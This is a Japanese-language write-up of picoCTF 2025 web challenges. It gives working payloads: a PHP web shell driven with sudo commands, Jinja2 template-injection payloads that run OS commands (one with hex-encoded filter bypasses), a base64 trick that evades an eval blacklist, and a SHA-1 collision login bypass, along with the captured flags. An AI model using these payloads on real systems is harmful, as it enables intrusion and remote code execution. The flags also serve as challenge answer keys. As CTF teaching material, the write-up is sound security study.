picoCTF 2025 Writeup - Web Exploitation
Cookie Monster Secret Recipe - 50pt
Description
Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?You can access the Cookie Monster here and good luck
Hints
- Sometimes, the most important information is hidden in plain sight. Have you checked all parts of the webpage?
- Cookies aren't just for eating - they're also used in web technologies!
- Web browsers often have tools that can help you inspect various aspects of a webpage, including things you can't see directly.
リンク先のサイトにアクセスする。
適当なアカウント(ex. Username: aaa, Password: bbb)でログインしようとすると、以下のようにアクセス拒否される。
言われた通りcookieを確認すると、secret_recipeというcookieに以下が保存されている
cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0RFN0E1RTc2fQ%3D%3D
base64デコードすると
picoCTF{c00k1e_m0nster_l0ves_c00kies_DE7A5E76}
ÃÜ
head-dump - 50pt
Description
Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag.The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.
Additional details will be available after launching your challenge instance.
Hints
- Explore backend development with us
- The head was dumped.
インスタンスを起動してサイトにアクセスする。
#API Documentationをクリックすると/api-docs/に遷移し、SwaggerのAPIドキュメントが見れる。
Diagnosingの/headdumpがそれっぽいので、Swagger上で実行するとデータがダウンロードできる。
データの中をpicoCTFで検索するとフラグが見つかる。
$ grep picoCTF heapdump-1741390270835.heapsnapshot
picoCTF{Pat!3nt_15_Th3_K3y_439bb394}
...
n0s4n1ty 1 - 100pt
Description
A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the
/root
directory.
Additional details will be available after launching your challenge instance.
Hints
- File upload was not sanitized
- Whenever you get a shell on a remote machine, check
sudo -l
インスタンスを起動してWebサイトにアクセスする。
ファイルを選択してアップロードすると/uploadsにアップロードされるが、ヒント1の通りファイルの中身をチェクしていないようなのでphpファイルもアップロード可能である。よって、以下のようなクエリパラメタをsystem関数で実行するスクリプトをアップロードする。
<?php system($_GET["cmd"]);?>
ヒント2の通り、sudo -lを実行してみる
http://standard-pizzas.picoctf.net:49526/uploads/system.php?cmd=sudo%20-l
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL
大抵のコマンドは実行できそうなので、ls /rootを実行する
http://standard-pizzas.picoctf.net:49526/uploads/system.php?cmd=sudo%20ls%20/root
flag.txt
cat /root/flag.txtを実行。
http://standard-pizzas.picoctf.net:49526/uploads/system.php?cmd=sudo%20cat%20/root/flag.txt
picoCTF{wh47_c4n_u_d0_wPHP_a4ca6ea0}
SSTI1 - 100pt
Description
I made a cool website where you can announce whatever you want! Try it out!
Additional details will be available after launching your challenge instance.
Hints
- Server Side Template Injection
WebサイトにアクセスしてServerヘッダを確認するとPythonを使っている。
Server: Werkzeug/3.0.3 Python/3.8.10
Webサイトはフォーム入力したら<h1>{入力}</h1>
と表示するだけのようである。
ヒント1とPythonを使っているので、Jinja2のSSTIと考え以下を参考にする。
以下を入力すると
{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}
以下が表示される。
__pycache__ app.py flag requirements.txt
今度はcatを実行して読み込む
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
するとフラグが表示される。
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_3066c7bd}
WebSockFish - 200pt
Description
Can you win in a convincing manner against this chess bot? He won't go easy on you!You can find the challenge here.
Hint
- Try understanding the code and how the websocket client is interacting with the server
リンク先ではチェスのゲームができる。
ヒント1でwebsocket通信を理解しろということなので読んでみる。
StockFishというチェスのエンジンがあり、盤面をエンジンに送る→評価値を計算して返してもらう→評価値をwebsocketでサーバに送り、チャットメッセージを取得し表示するという動きのようだ。
websocketで通信しているのは以下のsendMessage()の部分。
stockfish.onmessage = function (event) {
var message;
// console.log(event.data);
if (event.data.startsWith("bestmove")) {
var bestMove = event.data.split(" ")[1];
var srcSq = bestMove.slice(0, 2);
var dstSq = bestMove.slice(2, 4);
var promotion = bestMove.slice(4);
game.move({ from: srcSq, to: dstSq, promotion: promotion });
board.position(game.fen());
} else if (event.data.startsWith(`info depth ${DEPTH}`)) {
var splitString = event.data.split(" ");
if (event.data.includes("mate")) {
message = "mate " + parseInt(splitString[9]);
} else {
message = "eval " + parseInt(splitString[9]);
}
sendMessage(message);
}
評価値はこちら(白)が有利な場合はマイナスになり、相手(黒)が有利な場合はプラスになる。
そこまで強いレベルに設定しているわけではないらしく、ChessBotなどで次の手を計算してもらうと勝てる。ただし、普通に勝ってもフラグは表示されない。
wscatを使って評価値の値をかなり大きな負の数にするとフラグが出力された。
$ wscat -c ws://verbal-sleep.picoctf.net:64555/ws/
Connected (press CTRL+C to quit)
> eval -10000
< Wow you're quite the chess shark!
> eval -100000
< Huh???? How can I be losing this badly... I resign... here's your flag: picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_1c70436a}
3v@l - 200pt
Description
ABC Bank's website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an
eval
function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank's calculator and read the flag?
Additional details will be available after launching your challenge instance.
Hints
- Bypass regex
- The flag file is
/flag.txt
- You might need encoding or dynamic construction to bypass restrictions.
インスタンスを起動してリンク先にアクセスする。
入力した計算式を評価してくれるサービスである。
Serverヘッダは以下でPythonを使っていることがわかり、タイトルからpythonのevalを実行していそう。
Server: Werkzeug/3.0.6 Python/3.8.10
ヒント2から/flagを読み込むだけで良さそうだが、ブラックリストがあって普通に以下のように入力しても
open('flag.txt').read()
以下のようにエラーになる。
色々試すと以下のような文字列はエラーになる
os, ls, eval, exec, /, \,
そのため、以下のように/flag.txtをbase64エンコードした文字列をデーコードしてオープンする
open(__import__('base64').b64decode('L2ZsYWcudHh0').decode()).read()
以下のフラグが出力される
picoCTF{D0nt_Use_Unsecure_f@nctionscaec21d1}
SSTI2 - 200pt
Description
I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)
Additional details will be available after launching your challenge instance.
Hints
- Server Side Template Injection
- Why is blacklisting characters a bad idea to sanitize input?
SSTI1と同じようなWebサービスであるが、以下のような記述はsanitizeされているようだ。
request.application
request['application']
'__builtins__'
そのため、以下のようにする。attrを使ったアクセスを実施し、アンダースコアはhexで記述する
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
picoCTF{sst1_f1lt3r_byp4ss_96a02202}
Apriti sesamo - 300pt
Description
I found a web app that claims to be impossible to hack!Try it here!
Hints
- Backup files
- Rumor has it, the lead developer is a militant emacs user
Webアプリにアクセスする。
Loginボタンを押す。
このページのURLは
http://verbal-sleep.picoctf.net:50313/impossibleLogin.php
であるが、ヒント2のemacs userから以下のURLにアクセスする。
http://verbal-sleep.picoctf.net:50313/impossibleLogin.php~
HTMLソースを見ると以下のPHPコードが記載されている。
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
難読化を解く。
<?php
if (isset($_POST['username'])
&& isset($_POST['pwd'])) {
$username=$_POST['username'];
$password=$_POST['pwd'];
if ($username == $password) {
echo '<br/>Failed! No flag for you';
} else {
if (sha1($username) === sha1($password)) {
echo file_get_contents('../flag.txt');
} else{
echo '<br/>Failed! No flag for you';
}
}
}
?>
同じデータではないが、sha1のハッシュ値が同じデータをusernameとpwdに入力すれば良い
sha1が同じデータは以下の方法を参考にする。
Shatteredのファイルなど既知の同じハッシュ値のファイル(1.html,2.html)の最初320バイト取得する
$ head -c 320 1.html > 1.bin
$ head -c 320 2.html > 2.bin
このファイルを読み込んでcurlでpostするとフラグが表示される。
$ curl --trace log.txt --data-urlencode username@1.bin --data-urlencode pwd@2.bin http://verbal-sleep.picoctf.net:50313/impossibleLogin.php
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body style="text-align:center;">
<pre>
_ _ _ __
| | (_) (_)/ _|
| | ___ __ _ _ _ __ _| |_ _ _ ___ _ _ ___ __ _ _ __
| |/ _ \ / _` | | | '_ \ | | _| | | | |/ _ \| | | | / __/ _` | '_ \
| | (_) | (_| | | | | | | | | | | |_| | (_) | |_| | | (_| (_| | | | |
|_|\___/ \__, | |_|_| |_| |_|_| \__, |\___/ \__,_| \___\__,_|_| |_|
__/ | __/ |
|___/ |___/
</pre>
<br/>
<form action="impossibleLogin.php" method="post">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="pwd">Password:</label><br>
<input type="password" id="pwd" name="pwd"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
picoCTF{w3Ll_d3sErV3d_Ch4mp_5b269555}
Pachinko - 300pt
Description
History has failed us, but no matter.Server sourceThere are two flags in this challenge. Submit flag one here, and flag two in Pachinko Revisited.
Additional details will be available after launching your challenge instance.
インスタンス起動後にアクセスしたサービス上で動作確認中にsubmit circuitしたらフラグが出てきた。ので解答方法は不明。
picoCTF{p4ch1nk0_f146_0n3_e947b9d7}
Pachinko Revisited - 500pt
未解答
secure-email-service - 500pt
未解答
Discussion